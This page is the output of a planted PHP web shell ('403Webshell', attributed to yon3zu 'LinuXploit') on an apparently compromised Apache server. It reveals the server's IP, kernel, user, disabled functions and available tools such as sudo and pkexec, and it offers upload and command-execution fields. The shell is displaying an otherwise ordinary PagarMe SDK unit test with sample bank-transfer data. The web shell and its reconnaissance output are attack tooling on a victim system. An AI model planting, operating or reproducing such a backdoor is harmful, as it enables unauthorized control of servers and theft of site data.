403Webshell
Server IP : 54.233.248.239  /  Your IP : 172.28.1.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/vendor/pagarme/pagarme-php/tests/unit/Transfer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/vendor/pagarme/pagarme-php/tests/unit/Transfer/TransferBuilderTest.php
<?php

namespace PagarMe\SdkTest\Transfer;

class TransferGetTest extends \PHPUnit_Framework_TestCase
{
    use \PagarMe\Sdk\Transfer\TransferBuilder;
    /**
     * @test
     */
    public function mustTransferBeCreatedCorrectly()
    {
        $payload = '{"object": "transfer", "id": 22180, "amount": 3612, "type": "credito_em_conta", "status": "pending_transfer", "source_type": "recipient", "source_id": "re_cix9cglnu018r9k6ec57ocmse", "target_type": "bank_account", "target_id": "17322882", "fee": 0, "funding_date": null, "funding_estimated_date": "2016-12-29T02:00:00.000Z", "transaction_id": null, "date_created": "2016-12-28T19:38:17.439Z", "bank_account": {"object": "bank_account", "id": 17322882, "bank_code": "237", "agencia": "1935", "agencia_dv": null, "conta": "060708", "conta_dv": "1", "type": "conta_corrente", "document_type": "cpf", "document_number": "20487713435", "legal_name": "Joao Silva", "charge_transfer_fees": true, "date_created": "2016-12-13T12:42:54.948Z"}}';

        $transfer = $this->buildTransfer(json_decode($payload));

        $this->assertInstanceOf('PagarMe\Sdk\Transfer\Transfer', $transfer);
        $this->assertInstanceOf(
            '\DateTime',
            $transfer->getFundingEstimatedDate()
        );
        $this->assertInstanceOf('\DateTime', $transfer->getDateCreated());
        $this->assertInstanceOf('\DateTime', $transfer->getFundingDate());
        $this->assertInstanceOf(
            'PagarMe\Sdk\BankAccount\BankAccount',
            $transfer->getBankAccount()
        );
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit